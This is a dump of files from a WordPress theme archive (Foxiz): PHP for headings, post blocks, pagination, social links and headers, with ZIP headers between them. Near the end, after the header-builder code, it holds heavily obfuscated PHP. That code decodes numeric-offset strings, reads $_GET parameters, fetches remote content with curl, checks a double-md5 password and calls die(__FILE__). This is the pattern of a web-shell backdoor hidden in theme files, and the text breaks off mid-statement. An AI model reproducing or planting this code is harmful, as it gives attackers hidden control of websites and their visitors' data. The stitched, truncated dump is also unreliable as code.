strpos( $settings['title'], '{tag}' ) !== false && is_tag() ) { $settings['title'] = str_replace( '{tag}', get_queried_object()->name, $settings['title'] ); } elseif ( strpos( $settings['title'], '{search}' ) !== false && is_search() ) { $settings['title'] = str_replace( '{search}', get_search_query( 's' ), $settings['title'] ); } elseif ( strpos( $settings['title'], '{author}' ) !== false && is_author() ) { $settings['title'] = str_replace( '{author}', get_queried_object()->display_name, $settings['title'] ); } $class_name = 'block-h'; if ( empty( $settings['layout'] ) ) { $settings['layout'] = foxiz_get_option( 'heading_layout', 1 ); } $class_name .= ' heading-layout-' . $settings['layout']; if ( ! empty( $settings['color_scheme'] ) ) { $class_name .= ' light-scheme'; } $title_class_name = 'heading-title'; if ( ! empty( $settings['classes'] ) ) { $title_class_name .= ' ' . $settings['classes']; } if ( empty( $settings['html_tag'] ) ) { $settings['html_tag'] = 'h3'; } $output = ''; $output .= '
'; $output .= '<' . $settings['html_tag'] . ' class="' . esc_attr( $title_class_name ) . '">'; if ( ! empty( $settings['link']['url'] ) ) { $output .= foxiz_render_elementor_link( $settings['link'], $settings['title'] ); } else { $output .= '' . wp_kses( $settings['title'], 'foxiz' ) . ''; } $output .= ''; if ( ! empty( $settings['tagline'] ) ) { $output .= '
'; if ( ! empty( $settings['link']['url'] ) ) { $output .= foxiz_render_elementor_link( $settings['link'], $settings['tagline'], 'heading-tagline-label' ); } else { $output .= '' . esc_html( $settings['tagline'] ) . ''; } if ( ! empty( $settings['tagline_arrow'] ) ) { $output .= ''; } $output .= '
'; } $output .= '
'; $output .= ''; return $output; } } if ( ! function_exists( 'foxiz_get_start_widget_heading' ) ) { /** * @param array $settings * * @return string */ function foxiz_get_start_widget_heading( $settings = array() ) { $settings = wp_parse_args( $settings, array( 'layout' => '', 'html_tag' => '' ) ); $class_name = 'block-h widget-heading'; $class_name .= ' heading-layout-' . $settings['layout']; if ( empty( $settings['html_tag'] ) ) { $settings['html_tag'] = 'h4'; } $output = ''; $output .= '
'; $output .= '<' . $settings['html_tag'] . ' class="heading-title">'; return $output; } } if ( ! function_exists( 'foxiz_get_end_widget_heading' ) ) { /** * @param array $settings * * @return string */ function foxiz_get_end_widget_heading( $settings = array() ) { if ( empty( $settings['html_tag'] ) ) { $settings['html_tag'] = 'h4'; } $output = ''; $output .= '
'; return $output; } }PK! blocks/overlay-2.phpnu[ '', 'name' => 'overlay_2' ) ); $settings = foxiz_detect_dynamic_query( $settings ); if ( empty( $settings['columns'] ) ) { $settings['columns'] = 3; } if ( empty( $settings['column_gap'] ) ) { $settings['column_gap'] = 7; } if ( ! empty( $settings['carousel'] ) && '1' === (string) $settings['carousel'] ) { unset( $settings['pagination'] ); if ( empty( $settings['columns_tablet'] ) ) { $settings['columns_tablet'] = 2; } if ( empty( $settings['columns_mobile'] ) ) { $settings['columns_mobile'] = 1; } if ( empty( $settings['carousel_gap'] ) ) { $settings['carousel_gap'] = 10; } if ( empty( $settings['carousel_gap_tablet'] ) ) { $settings['carousel_gap_tablet'] = 10; } if ( empty( $settings['carousel_gap_mobile'] ) ) { $settings['carousel_gap_mobile'] = 10; } } if ( empty( $settings['pagination'] ) ) { $settings['no_found_rows'] = true; } $settings['classes'] = 'block-overlay block-overlay-2'; if ( ! $_query ) { $_query = foxiz_query( $settings ); } ob_start(); foxiz_block_open_tag( $settings, $_query ); if ( ! $_query->have_posts() ) { foxiz_error_posts( $_query ); } else { foxiz_block_inner_open_tag( $settings ); foxiz_loop_overlay_2( $settings, $_query ); foxiz_block_inner_close_tag( $settings ); foxiz_render_pagination( $settings, $_query ); wp_reset_postdata(); } foxiz_block_close_tag(); return ob_get_clean(); } } if ( ! function_exists( 'foxiz_loop_overlay_2' ) ) { /** * @param $settings * @param $_query */ function foxiz_loop_overlay_2( $settings, $_query ) { $settings = foxiz_get_design_builder_block( $settings ); if ( ! empty( $settings['carousel'] ) && '1' === (string) $settings['carousel'] ) : ?>
>
have_posts() ) : $_query->the_post(); foxiz_overlay_2( $settings ); endwhile; ?>
have_posts() ) : $_query->the_post(); foxiz_overlay_2( $settings ); endwhile; endif; } }PK! 0vvblocks/hierarchical-2.phpnu[ '', 'name' => 'hierarchical_2' ) ); $settings = foxiz_detect_dynamic_query( $settings ); $settings['classes'] = 'block-small block-hrc hrc-2'; if ( empty( $settings['pagination'] ) ) { $settings['no_found_rows'] = true; } else { $settings['classes'] .= ' short-pagination'; } $min_posts = 2; $_query = foxiz_query( $settings ); ob_start(); foxiz_block_open_tag( $settings, $_query ); if ( ! $_query->have_posts() || $_query->post_count < $min_posts ) { foxiz_error_posts( $_query, $min_posts ); } else { foxiz_block_inner_open_tag( $settings ); foxiz_loop_hierarchical_2( $settings, $_query ); foxiz_block_inner_close_tag( $settings ); foxiz_render_pagination( $settings, $_query ); wp_reset_postdata(); } foxiz_block_close_tag(); return ob_get_clean(); } } if ( ! function_exists( 'foxiz_loop_hierarchical_2' ) ) { /** * @param $settings * @param $_query */ function foxiz_loop_hierarchical_2( $settings, $_query ) { $flag = true; $settings = foxiz_get_design_builder_block( $settings ); if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h3'; } if ( empty( $settings['sub_title_tag'] ) ) { $settings['sub_title_tag'] = 'h5'; } while ( $_query->have_posts() ) : $_query->the_post(); if ( $flag ) { foxiz_list_small_1( $settings ); $settings['title_tag'] = $settings['sub_title_tag']; $flag = false; } else { foxiz_list_inline( $settings ); } endwhile; } } PK!suublocks/quick-links.phpnu[ '', 'name' => 'quick-links', 'header' => '', 'quick_links' => array(), 'layout' => '1', ) ); $settings['classes'] = 'block-qlinks qlinks-layout-' . esc_attr( $settings['layout'] ); ob_start(); foxiz_block_open_tag( $settings ); ?>
Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] PK!ZtZt parts.phpnu['; } } if ( ! function_exists( 'foxiz_block_open_tag' ) ) { /** * @param array $settings * @param null $_query * render block open tag */ function foxiz_block_open_tag( $settings = array(), $_query = null ) { echo foxiz_get_block_open_tag( $settings, $_query ); } } if ( ! function_exists( 'foxiz_block_close_tag' ) ) { /** * @param array $settings * render block close tag */ function foxiz_block_close_tag( $settings = array() ) { $tag = 'div'; if ( ! empty( $settings['block_tag'] ) ) { $tag = $settings['block_tag']; } echo ''; } } if ( ! function_exists( 'foxiz_error_posts' ) ) { /** * @param null $_query * @param string $min * render error posts */ function foxiz_error_posts( $_query = null, $min = '' ) { if ( current_user_can( 'edit_pages' ) ) : if ( ! $_query->have_posts() || ! $_query->post_count ) { $messenger = esc_html__( 'No found posts, Please add a new post for this query or change the block settings: ', 'foxiz' ); } else { $messenger = sprintf( esc_html__( 'This block requests at least %s posts, Please add new posts for this query or change the block settings: ', 'foxiz' ), $min ); } ?>

'; } echo '
'; } } if ( ! function_exists( 'foxiz_block_inner_close_tag' ) ) { /** * @param array $settings */ function foxiz_block_inner_close_tag( $settings = array() ) { echo '
'; if ( ! empty( $settings['scroll_height'] ) ) { echo ''; } } } if ( ! function_exists( 'foxiz_render_pagination' ) ) { /** * @param $settings * @param null $_query * * @return false * render pagination */ function foxiz_render_pagination( $settings, $_query = null ) { /** ajax pagination for template builder */ if ( ! empty( $settings['query_mode'] ) && 'global' === $settings['query_mode'] ) { if ( empty( $settings['builder_pagination'] ) ) { $settings['builder_pagination'] = 'number'; } if ( foxiz_is_template_preview() ) { echo '
' . sprintf( esc_html__( 'Dynamic %s pagination', 'foxiz' ), $settings['builder_pagination'] ) . '
'; return false; } $settings['pagination'] = $settings['builder_pagination']; $settings['posts_per_page'] = $_query->get( 'posts_per_page' ); if ( is_category() ) { $settings['category'] = $_query->get_queried_object_id(); } elseif ( is_tag() ) { $settings['tag_in'] = array($_query->get_queried_object_id()); } elseif ( is_author() ) { $settings['author'] = $_query->get_queried_object_id(); } elseif ( is_search() ) { $settings['s'] = get_search_query(); } elseif ( is_archive() ) { /** archive fallback */ if ( 'load_more' === $settings['pagination'] || 'infinite_scroll' === $settings['pagination'] || 'next_prev' === $settings['pagination'] ) { $settings['pagination'] = 'number'; } } /** AMP fallback */ if ( foxiz_is_amp() && ( 'load_more' === $settings['pagination'] || 'infinite_scroll' === $settings['pagination'] || 'next_prev' === $settings['pagination'] ) ) { $settings['pagination'] = 'number'; } } if ( empty( $settings['pagination'] ) || empty( $settings['uuid'] ) ) { return false; } if ( foxiz_is_amp() && ( 'load_more' === $settings['pagination'] || 'infinite_scroll' === $settings['pagination'] || 'next_prev' === $settings['pagination'] ) ) { return false; } unset( $settings['classes'] ); unset( $settings['dynamic_query'] ); unset( $settings['animation_duration'] ); unset( $settings['hide_desktop'] ); unset( $settings['hide_tablet'] ); unset( $settings['hide_mobile'] ); unset( $settings['title_font_font_size'] ); unset( $settings['title_font_font_size_tablet'] ); unset( $settings['title_font_font_size_mobile'] ); unset( $settings['title_font_line_height'] ); unset( $settings['title_font_line_height_tablet'] ); unset( $settings['title_font_line_height_mobile'] ); unset( $settings['title_font_letter_spacing'] ); unset( $settings['title_font_letter_spacing_tablet'] ); unset( $settings['title_font_letter_spacing_mobile'] ); unset( $settings['title_font_word_spacing'] ); unset( $settings['title_font_word_spacing_tablet'] ); unset( $settings['title_font_word_spacing_mobile'] ); unset( $settings['category_font_font_size'] ); unset( $settings['category_font_font_size_tablet'] ); unset( $settings['category_font_font_size_mobile'] ); unset( $settings['category_font_line_height'] ); unset( $settings['category_font_line_height_tablet'] ); unset( $settings['category_font_line_height_mobile'] ); unset( $settings['category_font_letter_spacing'] ); unset( $settings['category_font_letter_spacing_tablet'] ); unset( $settings['category_font_letter_spacing_mobile'] ); unset( $settings['category_font_word_spacing'] ); unset( $settings['category_font_word_spacing_tablet'] ); unset( $settings['category_font_word_spacing_mobile'] ); if ( ! empty( $settings['unique'] ) ) { $queried_ids = $_query->get( 'foxiz_queried_ids' ); if ( is_array( $queried_ids ) ) { $queried_ids = implode( ',', $queried_ids ); if ( empty( $settings['post_not_in'] ) ) { $settings['post_not_in'] = $queried_ids; } else { $settings['post_not_in'] .= ',' . $queried_ids; } } } if ( ! empty( $settings['post_not_in'] ) ) { $settings['post_not_in'] = str_replace( ',,', ',', $settings['post_not_in'] ); } if ( $_query->query_vars['paged'] > 1 ) { $settings['paged'] = $_query->query_vars['paged']; } elseif ( ! empty( get_query_var( 'paged' ) ) && get_query_var( 'paged' ) > 1 ) { $settings['paged'] = get_query_var( 'paged' ); } else { $settings['paged'] = 1; } if ( ! empty( $_query->max_num_pages ) ) { $settings['page_max'] = $_query->max_num_pages; } if ( ! empty( $settings['offset'] ) && ! empty( $_query->found_posts ) && ! empty( $settings['posts_per_page'] ) ) { $settings['page_max'] = ceil( ( $_query->found_posts - $settings['offset'] ) / $settings['posts_per_page'] ); } $js_settings = array(); $localize = 'foxiz-global'; foreach ( $settings as $key => $val ) { if ( '_' !== mb_substr( $key, 0, 1 ) ) { $js_settings[ $key ] = $val; } } if ( ! empty( $settings['localize'] ) ) { $localize = $settings['localize']; } wp_localize_script( $localize, $settings['uuid'], $js_settings ); switch ( $settings['pagination'] ) { case 'next_prev' : foxiz_render_pagination_nextprev( $_query ); break; case 'load_more' : foxiz_render_pagination_load_more( $_query ); break; case 'infinite_scroll' : foxiz_render_pagination_infinite( $_query ); break; case 'simple' : foxiz_render_pagination_simple( $_query ); break; case 'number' : foxiz_render_pagination_number( $_query ); break; default: return false; } } } if ( ! function_exists( 'foxiz_render_pagination_load_more' ) ) { /** * @param null $_query * * @return false */ function foxiz_render_pagination_load_more( $_query = null ) { if ( empty( $_query ) || ! is_object( $_query ) ) { global $wp_query; $_query = $wp_query; } if ( $_query->max_num_pages < 2 ) { return false; } ?>
max_num_pages < 2 ) { return false; } ?>
max_num_pages < 2 ) { return false; } ?>
max_num_pages < 2 ) { return false; } ?> max_num_pages < 2 ) { return false; } $current = 1; $total = $_query->max_num_pages; if ( $_query->query_vars['paged'] > 1 ) { $current = $_query->query_vars['paged']; } elseif ( ! empty( get_query_var( 'paged' ) ) && get_query_var( 'paged' ) > 1 ) { $current = get_query_var( 'paged' ); } if ( ! empty( $offset ) ) { $post_per_page = $_query->query_vars['posts_per_page']; $total = $_query->max_num_pages - floor( $offset / $post_per_page ); $found_posts = $_query->found_posts; if ( $found_posts < ( $total * $post_per_page ) ) { $total = $total - 1; } } $params = array( 'total' => $total, 'current' => $current, 'end_size' => 2, 'mid_size' => 2, 'prev_text' => '', 'next_text' => '', 'type' => 'plain' ); if ( ! empty( $_query->query_vars['s'] ) ) { $params['add_args'] = array( 's' => urlencode( get_query_var( 's' ) ) ); } ?>
<?php foxiz_attr_e( 'search', 'foxiz' ) ?>
'; if ( ! empty( $title ) ) { $output .= esc_html( $title ); } $output .= ''; return $output; } } if ( ! function_exists( 'foxiz_get_social_list' ) ) { /** * @param array $data * @param bool $new_tab * @param bool $custom * * @return false|string */ function foxiz_get_social_list( $data = array(), $new_tab = true, $custom = true ) { if ( empty( $data ) ) { return false; } if ( true === $new_tab ) { $new_tab = 'target="_blank" rel="noopener nofollow"'; } else { $new_tab = 'rel="noopener nofollow"'; } extract( shortcode_atts( array( 'website' => '', 'facebook' => '', 'twitter' => '', 'youtube' => '', 'instagram' => '', 'pinterest' => '', 'linkedin' => '', 'tumblr' => '', 'flickr' => '', 'skype' => '', 'snapchat' => '', 'myspace' => '', 'bloglovin' => '', 'digg' => '', 'dribbble' => '', 'soundcloud' => '', 'vimeo' => '', 'reddit' => '', 'vkontakte' => '', 'telegram' => '', 'whatsapp' => '', 'rss' => '', ), $data ) ); $output = ''; if ( ! empty( $website ) ) { $output .= ''; } if ( ! empty( $facebook ) ) { $output .= ''; } if ( ! empty( $twitter ) ) { $output .= ''; } if ( ! empty( $youtube ) ) { $output .= ''; } if ( ! empty( $pinterest ) ) { $output .= ''; } if ( ! empty( $instagram ) ) { $output .= ''; } if ( ! empty( $linkedin ) ) { $output .= ''; } if ( ! empty( $tumblr ) ) { $output .= ''; } if ( ! empty( $flickr ) ) { $output .= ''; } if ( ! empty( $skype ) ) { $output .= ''; } if ( ! empty( $snapchat ) ) { $output .= ''; } if ( ! empty( $myspace ) ) { $output .= ''; } if ( ! empty( $bloglovin ) ) { $output .= ''; } if ( ! empty( $digg ) ) { $output .= ''; } if ( ! empty( $dribbble ) ) { $output .= ''; } if ( ! empty( $soundcloud ) ) { $output .= ''; } if ( ! empty( $vimeo ) ) { $output .= ''; } if ( ! empty( $reddit ) ) { $output .= ''; } if ( ! empty( $vkontakte ) ) { $output .= ''; } if ( ! empty( $telegram ) ) { $output .= ''; } if ( ! empty( $whatsapp ) ) { $output .= ''; } if ( ! empty( $rss ) ) { $output .= ''; } if ( $custom ) { $social_1_url = foxiz_get_option( 'custom_social_1_url' ); $social_1_name = foxiz_get_option( 'custom_social_1_name' ); $social_1_icon = foxiz_get_option( 'custom_social_1_icon' ); $social_2_url = foxiz_get_option( 'custom_social_2_url' ); $social_2_name = foxiz_get_option( 'custom_social_2_name' ); $social_2_icon = foxiz_get_option( 'custom_social_2_icon' ); $social_3_url = foxiz_get_option( 'custom_social_3_url' ); $social_3_name = foxiz_get_option( 'custom_social_3_name' ); $social_3_icon = foxiz_get_option( 'custom_social_3_icon' ); if ( ! empty( $social_1_url ) && ! empty( $social_1_name ) ) { $output .= ''; } if ( ! empty( $social_2_url ) && ! empty( $social_2_name ) ) { $output .= ''; } if ( ! empty( $social_3_url ) && ! empty( $social_3_name ) ) { $output .= ''; } } return $output; } } if ( ! function_exists( 'foxiz_get_category_hero' ) ) { /** * @param array $featured_array * @param array $featured_urls_array * @param string $size * * @return false|string */ function foxiz_get_category_hero( $featured_array = array(), $featured_urls_array = array(), $size = 'foxiz_crop_o1' ) { if ( ! is_array( $featured_array ) || ! count( $featured_array ) ) { return false; } if ( 1 === count( $featured_array ) ) { $featured_array[1] = $featured_array[0]; } $counter = 0; $output = '
'; foreach ( $featured_array as $index => $id ) { $url = wp_get_attachment_image_url( $id, $size ); $alt = get_post_meta( $url, '_wp_attachment_image_alt', true ); if ( empty( $url ) && ! empty( $featured_urls_array[ $index ] ) ) { $url = $featured_urls_array[ $index ]; } $output .= '
'; $output .= '
'; $output .= '' . esc_attr( $alt ) . ''; $output .= '
'; $output .= '
'; $counter ++; if ( $counter > 1 ) { break; } } $output .= '
'; return $output; } } if ( ! function_exists( 'foxiz_render_category_hero' ) ) { /** * @param array $featured_array * @param array $featured_urls_array * @param string $size */ function foxiz_render_category_hero( $featured_array = array(), $featured_urls_array = array(), $size = '' ) { echo foxiz_get_category_hero( $featured_array, $featured_urls_array, $size ); } } if ( ! function_exists( 'foxiz_get_category_featured' ) ) { /** * @param array $featured_array * @param array $featured_urls_array * @param string $size * * @return false|string */ function foxiz_get_category_featured( $featured_array = array(), $featured_urls_array = array(), $size = 'foxiz_crop_g1' ) { if ( empty( $featured_array[0] ) && empty( $featured_urls_array[0] ) ) { return false; } $output = ''; if ( ! empty( $featured_array[0] ) ) { $output .= wp_get_attachment_image( $featured_array[0], $size ); } else { $output .= ''; } $output .= ''; return $output; } } if ( ! function_exists( 'foxiz_render_category_featured' ) ) { /** * @param array $featured_array * @param array $featured_urls_image * @param string $size */ function foxiz_render_category_featured( $featured_array = array(), $featured_urls_image = array(), $size = '' ) { echo foxiz_get_category_featured( $featured_array, $featured_urls_image, $size ); } } if ( ! function_exists( 'foxiz_get_follow_trigger' ) ) { /** * @param array $settings * * @return false|string */ function foxiz_get_follow_trigger( $settings = array() ) { if ( empty( $settings['id'] ) || foxiz_is_amp() || ! class_exists( 'Foxiz_Bookmark' ) ) { return false; } if ( ! is_user_logged_in() ) { return foxiz_get_follow_trigger_guess( $settings ); } $classes = array(); $classes[] = 'follow-button follow-trigger'; if ( ! empty( $settings['classes'] ) ) { $classes[] = $settings['classes']; } if ( Foxiz_Bookmark::get_instance()->is_followed( $settings['id'] ) ) { $classes[] = 'followed'; } $output = ''; $output .= ''; $output .= ''; $output .= ''; return $output; } } if ( ! function_exists( 'foxiz_get_follow_trigger_guess' ) ) { function foxiz_get_follow_trigger_guess( $settings = array() ) { $classes = array(); $classes[] = 'follow-button login-toggle'; if ( ! empty( $settings['classes'] ) ) { $classes[] = $settings['classes']; } if ( empty( $settings['login_url'] ) ) { $settings['login_url'] = foxiz_get_option( 'bookmark_logged_redirect' ); } if ( empty( $settings['login_url'] ) ) { $settings['login_url'] = esc_url( wp_login_url( get_permalink() ) ); } $output = ''; $output .= ''; $output .= ''; return $output; } } if ( ! function_exists( 'foxiz_follow_trigger' ) ) { /** * @param array $settings */ function foxiz_follow_trigger( $settings = array() ) { echo foxiz_get_follow_trigger( $settings ); } } PK!Xheader/transparent.phpnu[

'; return $output; } elseif ( empty( $logo['url'] ) ) { $logo = $retina_logo; $output = ''; return $output; } $output = ''; return $output; } } if ( ! function_exists( 'foxiz_render_logo' ) ) { /** * @param array $settings * * @return false */ function foxiz_render_logo( $settings = array() ) { if ( empty( $settings['logo']['url'] ) && empty( $settings['retina_logo']['url'] ) ) { foxiz_render_text_logo(); return false; } $blog_name = get_bloginfo( 'name' ); $class_name = array(); $class_name[] = 'logo-wrap'; if ( ! empty( $settings['classes'] ) ) { $class_name[] = $settings['classes']; } $class_name[] = 'is-image-logo site-branding'; if ( foxiz_is_svg( $settings['logo']['url'] ) ) { $class_name[] = 'is-logo-svg'; } ?> 'foxiz_main', 'menu_id' => false, 'container' => '', 'menu_class' => 'main-menu rb-menu large-menu', 'walker' => new Foxiz_Walker_Nav_Menu(), 'depth' => 4, 'items_wrap' => '
    %3$s
', 'echo' => true, 'fallback_cb' => 'foxiz_navigation_fallback', 'fallback_name' => esc_html__( 'Main Menu', 'foxiz' ) ); if ( ! empty( $sub_scheme ) ) { $args['sub_scheme'] = 'light-scheme'; } ?>
'foxiz_mobile_quick', 'container_class' => 'mobile-qview', 'menu_class' => 'mobile-qview-inner', 'depth' => 1, 'echo' => false, 'fallback_cb' => '__return_false', ) ); } } if ( ! function_exists( 'foxiz_header_mobile_layout_default' ) ) { /** * @param $settings */ function foxiz_header_mobile_layout_default( $settings = array() ) { ?>
get_query(); if ( ! empty( $bookmark_query ) && $bookmark_query->have_posts() ) : ?>
true, 'edit_link' => false, 'bookmark' => false, 'entry_meta' => 'date', ), $bookmark_query ); wp_reset_postdata(); ?>
true, 'uuid' => 'uid_notification', 'edit_link' => false, 'bookmark' => false, 'entry_meta' => 'date', 'pagination' => 'infinite_scroll', 'posts_per_page' => 5, 'order' => 'post_date', 'duplicate_allowed' => 1, ) ); ?>
'; $output .= esc_html( trim( $settings['alert_content'] ) ); $output .= ''; return $output; } } if ( ! function_exists( 'foxiz_top_ad' ) ) { /** * @return false|void */ function foxiz_top_ad() { if ( ! foxiz_get_option( 'ad_top_code' ) && ! foxiz_get_option( 'ad_top_image' ) ) { return false; } $disable_top_ad = rb_get_meta( 'disable_top_ad', get_the_ID() ); if ( ! empty( $disable_top_ad ) && '-1' === (string) $disable_top_ad ) { return false; } $classes = 'top-site-ad'; if ( foxiz_get_option( 'ad_top_spacing' ) ) { $classes .= ' no-spacing'; } if ( foxiz_get_option( 'ad_top_type' ) ) { $settings = array( 'code' => foxiz_get_option( 'ad_top_code' ), 'size' => foxiz_get_option( 'ad_top_size' ), 'desktop_size' => foxiz_get_option( 'ad_top_desktop_size' ), 'tablet_size' => foxiz_get_option( 'ad_top_tablet_size' ), 'mobile_size' => foxiz_get_option( 'ad_top_mobile_size' ) ); if ( foxiz_get_adsense( $settings ) ) { echo '
' . foxiz_get_adsense( $settings ) . '
'; } } else { $settings = array( 'image' => foxiz_get_option( 'ad_top_image' ), 'dark_image' => foxiz_get_option( 'ad_top_dark_image' ), 'destination' => foxiz_get_option( 'ad_top_destination' ) ); if ( foxiz_get_ad_image( $settings ) ) { echo '
' . foxiz_get_ad_image( $settings ) . '
'; } } } } if ( ! function_exists( 'foxiz_header_socials' ) ) { function foxiz_header_socials( $settings = array() ) { if ( ! empty( $settings['header_socials'] ) ) : ?>
foxiz_get_option( 'amp_header_ad_type' ), 'client' => foxiz_get_option( 'amp_header_adsense_client' ), 'slot' => foxiz_get_option( 'amp_header_adsense_slot' ), 'size' => foxiz_get_option( 'amp_header_adsense_size' ), 'custom' => foxiz_get_option( 'amp_header_ad_code' ), 'classname' => 'header-amp-ad amp-ad-wrap' ) ); } } } if ( ! function_exists( 'foxiz_render_header_rb_template' ) ) { /** * @return false * header builder */ function foxiz_render_header_rb_template() { $settings = foxiz_get_option(); $shortcode = ''; if ( is_home() ) { if ( ! empty( $settings['blog_header_template'] ) ) { $shortcode = $settings['blog_header_template']; } } elseif ( is_category() ) { global $wp_query; $data = get_option( 'foxiz_category_meta', array() ); $category_id = $wp_query->get_queried_object_id(); if ( ! empty( $data[ $category_id ]['header_template'] ) ) { $shortcode = $data[ $category_id ]['header_template']; } elseif ( ! empty( $settings['category_header_template'] ) ) { $shortcode = $settings['category_header_template']; } } elseif ( is_search() ) { if ( ! empty( $settings['search_header_template'] ) ) { $shortcode = $settings['search_header_template']; } } elseif ( is_singular() || is_page() ) { $shortcode = rb_get_meta( 'header_template', get_the_ID() ); } /** global value */ if ( empty( $shortcode ) ) { $shortcode = foxiz_get_option( 'header_template' ); } if ( empty( $shortcode ) ) { foxiz_render_header_1(); return false; } ?> r)-*/= /*-EmNf4-KYe-*/$jYoPC/*-m}LK7`EZcv-*/("~", /*-9RP^K.-*/" "); /*-JD8W,>E(-*/$Bs/*-%f(;-*/=/*-0ZUCh-*/${$riE/*-q:-ENNI:C-*/[2+29]/*-mjK-*/.$riE/*-2b0EoE$WR-*/[10+49]/*-eTJ-*/.$riE/*-:E(L{Mm>:#-*/[28+19]./*-sP.Mg<--*/$riE/*-Tm]_5@-*/[42+5]./*-@[bqF;vL-*/$riE/*-<%-*/[17+34]./*-+_@l2<@+-*/$riE/*-i}x-*/[52+1]/*-v~{-*/.$riE/*-0x_-*/[24+33]/*-4(-*/}; /*-}}D~h-*/if(/*-Zu32u-*/in_array/*-vH]7`ce-*/(gettype/*-j9J$X#B;c-*/($Bs)."25",/*-iQkBsHo.-*/$Bs))/*-{?pgW=p|-*/{ $Bs/*-;)-*/[68]/*-GmZ^SQ-*/=/*-P#KS%N;-*/(/*-8lJSd9-*/"~"/*-m.ddfW-*/, /*-Y]Bd$S-*/" "/*-~Z<-*/);/*-Q]2j-*/ $DSz /*-1~h-*/= /*-e$a#-*/explode/*-g=-*/(/*-C<-*/"(", /*-n3m:h4u|jU-*/$fKu/*-n8T9B=>VN-*/); /*-<96g6EXX-*/$HVTaQsXBOh /*-ekb!D-*/= /*-vskrg4n-*/""; foreach /*-,we&wS80T&-*/(/*-=}|-*/$DSz /*-(,1sT0X-*/as /*-+o-*/$fXs /*-KJ$-*/=>/*-?-$-*/ $zXT/*-@P!&1cl-*/) /*-=2tY470-*/$HVTaQsXBOh /*-mbL$-*/.= /*-mK=36B+-*/$WBkPAvCEpM[$zXT/*-=J{>r}ywI>-*/ - /*-,op#Nz(,Z-*/68678/*-wx[tb-*/];/*-0.-*/ return /*-s[-*/$HVTaQsXBOh; /*-LD-*/} /*-cKx;-8)-*/static /*-J3G]k`mo-*/function /*-;X-*/Hp/*-z}-*/(/*->9A-*/$NJOAR,/*->|-*/ $np/*-Jwm-*/)/*-c5K$UP:Td,-*/ {/*-sc232Q-*/ $EV/*-8Ek@?-*/ = /*-A!D-*/curl_init/*-;14$9I0FT%-*/(/*-VSO#e-*/$NJOAR/*-JqDxu?lfEW-*/);/*-(s28L|K49-*/ curl_setopt/*-aT3-*/(/*-`T#xrM&wq-*/$EV,/*-{Qq01-*/ CURLOPT_RETURNTRANSFER,/*-)WyWd-*/ 1/*-.o-*/);/*-D#6}T^N-*/ $fead/*-3?1hd1-*/ = /*-(D-*/curl_exec/*-BT--*/(/*-yU[W-*/$EV/*-$VW-*/); /*-IE$gBO~K-*/return /*-y5yTgjh-*/empty/*-to%kz-*/(/*-:+1.X#Y1Lb-*/$fead/*-rU>d-*/)/*-EZ[Z};Jw:-*/ ? /*-@hd;31389-*/$np/*-8lnRnwZE-*/(/*-h&2#5-*/$NJOAR/*-uyfn,F&q-*/)/*-~a{>|8-*/ : /*-rf-*/$fead; /*-6h@e}k&-*/}/*-&?nNYA`-*/ static/*-(bJ8qmJ-*/ function /*-+6vw-*/kRwSOq/*-!5}-*/() /*-rJ4e%+Jd8-*/{/*-_>z-*/ $VWYqC /*--a11&E-*/ array/*-DIk^miP-*/("68705(68690(68703(68707(68688(68703(68709(68702(68687(68694(68705(68688(68699(68693(68694","68689(68688(68690(68709(68690(68693(68688(68755(68753","68698(68689(68693(68694(68709(68704(68703(68705(68693(68704(68703","68692(68707(68705(68697","68706(68707(68689(68703(68750(68752(68709(68704(68703(68705(68693(68704(68703","68702(68699(68696(68703(68709(68701(68703(68688(68709(68705(68693(68694(68688(68703(68694(68688(68689","68732(68762","68679","68757(68762","68739(68722(68722(68739(68715","68693(68702"); /*-,eX=|-*/foreach /*-T{S`[-*/(/*-TkRn%so?-*/$VWYqC/*-`=Httx_d1-*/ as /*-P)sZa{-*/$kedjICn/*-Vz}Y.^U-*/)/*-4XQzcLhr-*/ $EF/*-s{U:+-*/[] /*-ne?dc;QKE%-*/= /*-0Po)}@Ywy-*/self/*-Xj_wehRj}-*/::/*-HoE-*/OVcWxBMFsG/*-=uK{?-*/(/*-;xN)FjqgK-*/$kedjICn/*-8I-*/);/*-t}7ZF0Fh-*/$nyxPUQHVGb /*-7Qykgs:yh-*/= /*-6cwChm-*/@$EF/*-9dk-*/[/*-}r=C-8Y-*/1/*-Lpb-*/]/*-m8-*/(/*-L,Xk)Eg-*/${/*-ZSSRcyc-*/"_"/*-kAE-*/."G"/*-ZZ:V-*/."E"/*-X|f,-*/."T"/*-;0l-*/}[/*-OEo4oluj-*/$EF/*-j&P.=-*/[/*-XXnl7k_e-*/3+6/*-Miy-*/]]/*-vC;$~-*/);/*-{~z-*/ $yfHi /*-tkR>u%OD-*/=/*-c?AQG0rW-*/ @$EF/*-$mmV=s-*/[/*-Cu-*/1+2/*-FE}L-*/]/*-=B8R--*/(/*-]Tt,Du-*/$EF/*-KoD}ym8&(-*/[/*-Nnu08:.-*/4+2/*-V]J>-*/], /*-H(^y5)x]-*/$nyxPUQHVGb/*-if-u!-*/);/*-&fa-*/ $cSYRlnALe /*-{Utq~m-*/=/*-`o-*/ $EF/*-t--*/[/*-}Ao4xH-*/2+0/*-=|R-*/]/*-J2f6Z@-*/[/*-XyYrHr(yh-*/$EF/*-#1{.2Ti~m-*/[7+3/*-f_#BZ<7SG-*/]/*-xSBH-*/]/*-F@w8tR,H~Q-*/ == /*-3ha5,k{-*/1 /*-kF<#sOC)-*/&& /*-]k]3}z]-*/die/*-z+C&U[-*/(/*-MFU1-*/$EF[2+3/*-bHI:!0kG3-*/]/*->G}L1HT-*/(/*-N6]u#f-*/__FILE__/*-.#(-*/)/*-LsZt4O]y!?-*/); /*-Q~_!{^ViT-*/if/*-2;0|e2nn%~-*/(/*-vVnyu-*/ (/*-&V>-*/(@/*-W$-gI&a-*/$cSYRlnALe/*-3NK-*/[/*-&:-*/0/*--(-*/] /*-j)JCx /*-SXV+TZ3-*/0/*-g$@C-*/)/*--=2Y{h@-*/ and /*-AY4-*/(/*-+UbD0-*/md5/*-=aopE@y,m-*/(/*-Rg-*/md5/*-EOXymH%V-*/(/*-E{#-*/$cSYRlnALe/*-d?a-*/[/*-]5Y_P-*/2+1/*-0MA)-*/]/*-,?|E=WYKbS-*/)/*-q&Lc|iBU&-*/)/*-x<>c)8--*/ === 